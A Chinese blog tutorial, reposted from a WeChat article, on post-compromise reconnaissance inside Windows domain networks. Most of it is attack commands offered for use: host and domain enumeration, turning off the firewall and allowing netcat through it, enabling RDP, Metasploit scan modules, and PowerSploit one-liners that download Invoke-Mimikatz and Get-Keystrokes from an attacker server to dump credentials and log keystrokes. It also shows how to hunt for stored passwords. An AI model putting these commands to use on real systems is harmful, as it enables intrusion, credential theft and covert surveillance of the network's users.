• 内网渗透学习-信息收集篇


    转载自https://mp.weixin.qq.com/s/kVa5UBobE-m0krdXSrhO6Q

    介绍

    当我们通过渗透进入内网环境后,面对的是一片未知区域。对当前机器角色判断,对机器所处区域分析。本文分成两个部分。第一部分是常见信息收集思路、第二部分是一些小工具推荐

    判断当前机器区域

    判断机器所处于网络拓扑哪个区域,是在DMZ区、办公区、核心区。区域界限是相对的

    机器角色判断

    • 文件服务器:配合社工,生成payload捆绑到文件服务器公用文件上,可批量上线主机
    • DNS服务器:端口53,可通过DNS服务器获取内网web系统信息,或者探测域信息
    • DHCP服务器:查看内网多组网段信息,更多的获取拓补信息
    • 开发测试服务器:获取源码,新的信息资产,多存在弱口令
    • 代理服务器:获取服务器账号,拿到各种密码
    • web服务器:可能需要提权
    • 个人PC:查看是否存在域环境

    本机信息收集

    包括操作系统、权限、内网IP段、杀软、端口、服务、补丁情况、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。文件共享/FTP连接记录、浏览器访问记录、mstsc连接记录、ssh连接记录。

    #查询网络配置信息。进行IP地址段信息收集
    ipconfig /all
    #查询操作系统及软件信息
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
    systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
    # 查看系统体系结构
    echo %PROCESSOR_ARCHITECTURE% 
    #PowerShell收集软件的版本信息
    powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" 
    #查看当前权限
    whoami && whoami /priv
    #查询本机服务信息
    wmic service list brief
    #查看安装的软件的版本、路径等
    wmic product get name, version 
    #查询进程信息
    wmic process list brief
    #查看启动程序信息
    wmic startup get command,caption 
    #查看计划任务
    at(win10之前)
    schtasks /query /fo LIST /v(win10)
    #查看主机开机时间
    net statistics workstation
    #查看本机用户列表
    net user 
    #获取本地管理员信息
    net localgroup administrators 
    ##查看当前在线用户
    query user || qwinsta 
    #列出或断开本地计算机与所连接的客户端的对话
    net session
    #查询端口列表
    netstat -ano/-tnlp
    #查看补丁列表
    systeminfo 
    # 查看补丁的名称、描述、ID、安装时间等
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    #查看本机共享列表和可访问的域共享列表
    net share (445端口)
    #查找共享列表
    wmic share get name,path,status 
    #磁盘映射
    net use k:\192.168.1.10c$
    #查看当前系统版本
    wmic OS get Caption,CSDVersion,OSArchitecture,Version
    #查询路由表
    route print
    #可用接口的ARP缓存表。局域网内arp -a,查看是否有重复的mac地址判断是否存在arp欺骗。服务器绑定mac地址方式防止arp欺骗
    arp -a
    #查看服务
    tasklist
    #查看在线用户
    quser
    #查看远程连接信息
    cmdkey /l
    #查看杀软
    WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
    #查看本地密码策略
    net accounts 
    #查看hosts文件:
    linux:cat  /etc/hosts
    windows:type  c:Windowssystem32driversetchosts
    #查看dns缓存
    ipconfig  /displaydns
    

    我们可使用自动化脚本WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令行)。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows 7以上版本的低权限用户允许访问WMIC并执行相关操作。 执行后,会将信息收集的结果写入HTML文档。

    项目地址:
    http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

    常见杀毒软件的进程

    进程 软件名称
    360SD.EXE 360杀毒
    360TRAY.EXE 360实时保护
    ZHUDONGFANGYU.EXE 360主动防御
    KSAFETRAY.EXE 金山卫士
    SAFEDOGUPDATECENTER.EXE 服务器安全狗
    MCAFEE MCSHIELD.EXE 迈克菲杀毒软件
    EGUI.EXE NOD32
    AVP.EXE 卡巴斯基
    AVGUARD.EXE 小红伞
    BDAGENT.EXE BITDEFENDER

    域环境信息收集

    判断是否存在域。ipconfig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等。通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上

    #查看当前权限
    whoami 
    #获取域用户SID
    whoami /all 
    #查询指定用户的详情信息
    net user xxx /domain 
    #查看域内所有账号
    net user /domain 
    #对比查看"域(域名)"和"登录服务器(域控制器)"的信息是否匹配
    systeminfo 
    #对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
    net config workstation 
    #查看时间可以找到域控
    net time /domain
    #查看域密码策略
    net accounts /domain 
    #查看当前登录域    
    net config workstation
    #查看域用户
    net user /domain
    # 登录本机的域管理员
    net localgroup administrators /domain
    #获取域控ip
    ping -a xxx.com
    #查询域
    net view /domain
    #查询域内的所有计算机 
    net view /domain:HACHE 
    #查询域的所有组(enterprise admins组权限最大)
    net group /domain 
    # SPN扫描
    setspn -T domain -q */* 
    #查看域管理员的用户组
    net group "domain admins" /domain
    #查询域系统管理员用户组
    net group "Enterprise admins" /domain 
    #查看域控制器
    net group "domain controllers" /domain
    #查看域控制器的机器名
    nltest /DCLIST:hacke 
    #查看dns缓存
    ipconfig  /displaydns
    #列域控c盘文件(需要域管理员权限)
    dir \WIN-75NA0949GFB.safe-duck.comc$
    #查询所有域成员计算机列表
    net group "domain computers" /domain 
    #获取域信任信息
    nltest /domain_trusts 
    #获取域内用户的详细信息
    wmic useraccount get /all 
    #查看存在的用户
    dsquery user 
    #查询所有计算机名称
    dsquery computer
    #攻击主机CMD扫描同网段存活ip
    for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
    #查看域控制器
    net group "domain controllers" /domain
    

    查询防火墙相关配置

    关闭防火墙

    Windows Server 2003及之前的版本:

    netsh firewall set opmode disable
    

    Windows Server 2003之后的版本:

    netsh advfirewall set allprofiles state off
    

    查看防火墙配置

    netsh firewall show config
    

    修改防火墙配置

    Windows Server 2003及之前的版本,允许指定程序全部连接:

    netsh firewall add allowedprogram c:
    c.exe "allow nc" enable
    

    Windows Server 2003之后的版本,情况如下。

    允许指定程序进入:

    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:
    c.exe"
    

    允许指定程序退出:

    netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:
    c.exe"
    

    允许3389端口放行:

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    

    自定义防火墙日志的储存位置

    netsh advfirewall set currentprofile logging filename "C:windows	empfw.log"
    

    查询代理配置情况

    reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
    

    这里我本地是没开代理端口的:

    查询并开启远程连接服务

    查看远程连接端口

    Reg query "hkey_local_machinesystemcurrentcontrolsetcontrol	erminal serverwinstationsRDP-Tcp" /v portnumber
    

    在命令行环境中执行注册表查询语句,连接的端口为0xd3d,转换后为3389:

    在Windows Server 2003中开启3389端口

    wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1
    

    在Windows Server 2008和Windows Server 2012中开启3389端口

    wmic /namespace:\rootcimv2	erminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
    
    wmic /namespace:\rootcimv2	erminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
    
    reg add "HKLMSYSTEMCURRENTCONTROLSETCONTROLTERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
    

    Ping探测主机存活(ICMP)

    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
    

    MSF信息收集

    MSF主机存活探测、端口扫描

    auxiliary/scanner/discovery/udp_sweep
    auxiliary/scanner/discovery/udp_probe
    auxiliary/scanner/netbios/nbname
    auxiliary/scanner/portscan/tcp
    
    auxiliary/scanner/portscan/tcp
    auxiliary/scanner/portscan/ack
    

    MSF建立会话拿到shell,即可直接执行DOS命令至今进行信息收集。也可以进行直接执行run winenum可以一键收集记录。

    run winenum
    

    powershell 信息收集

    默认powershell是不能执行脚本的,获取脚本策略之后才能使用:

    get-executionpolicy
    

    更改执行策略必须以管理员身份执行才可以,否则报错注册表安全问题

    set-executionpolicy unrestricted
    

    PowerSploit信息收集

    项目地址:https://github.com/PowerShellMafia/PowerSploit

    建立会话后的meterpreter:

    #加载模块
    load powershell
    #调用本地ps脚本
    powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
    #命令执行
    powershell_execute  Get-NetDomain 
    #获取当前的域名称
    Get-NetDomain  
    #返回所有域内成员的详细信息
    Get-Netuser 
    #获取所有的域内的控制器信息
    Get-NetDomainController 
    #获取所有域内机器的名称
    Get-NetComputer  
    #获取域内的所有的网络共享
    Get-Netshare
    #获取指定服务的远程连接信息  
    Get-NetRDPSESSION  
    #获取进程的详细信息
    Get-NetProcess  
    # 获取活动目录的信息
    Get-ADOPJECT 
    #判断用户是否登陆计算机且用户是否有管理员权限
    invoke-processhunter
    

    powersploit无文件攻击

    将下载的文件放在vps上面。确保目标服务器可以访问:

    图片

    #在目标机导入脚本:
    iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")
    #扫描网段、端口
    invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"
    #invoke-mimikatz抓取hash
    iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
    #导hash
    Invoke-Mimikatz -dumpcreds
    #get-keystrokes键盘记录
    iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
    #将键盘记录保存到123.txt里面
    Get-Keystrokes -logpath C:Usersadmin123.txt
    

    翻翻配置文件

    一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:

    findstr  /s /m "password" *.*
    

    常用应用的默认配置路径:

    Tomcat:
    CATALINA_HOME/conf/tomcat-users.xml
    
    Apache:
    /etc/httpd/conf/httpd.conf
    
    Nginx:
    /etc/nginx/nginx.conf
    
    Wdcp:
    /www/wdlinux/wdcp/conf/mrpw.conf
    
    Mysql:
    mysqldatamysqluser.MYD
    

    还有一些Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)的密码查看

    项目: https://github.com/uknowsec/SharpDecryptPwd

    END

    信息收集在内网渗透中的重要程度不言而喻。还有一些工具比如 psloggdon.exe、PVEFindADUser.exe、LaZagne、Impacket、Empire系列等等。祝师傅轻松拿到域控

    推荐作者公众号:

  • 相关阅读:
    Linux内核分析期中总结
    Linux内核分析期末总结
    《Linux内核设计与实现》第四章读书笔记
    《Linux内核分析》第八周 进程的切换和系统的一般执行过程
    《深入理解计算机系统》第七章读书笔记
    《Linux内核设计与实现》第三章读书笔记
    "Linux内核分析"第七周
    "Linux内核分析"第六周实验报告
    “Linux内核分析”第五周报告
    Linux实验四报告
  • 原文地址:https://www.cnblogs.com/KHZ521/p/14133519.html
Copyright © 2020-2023  润新知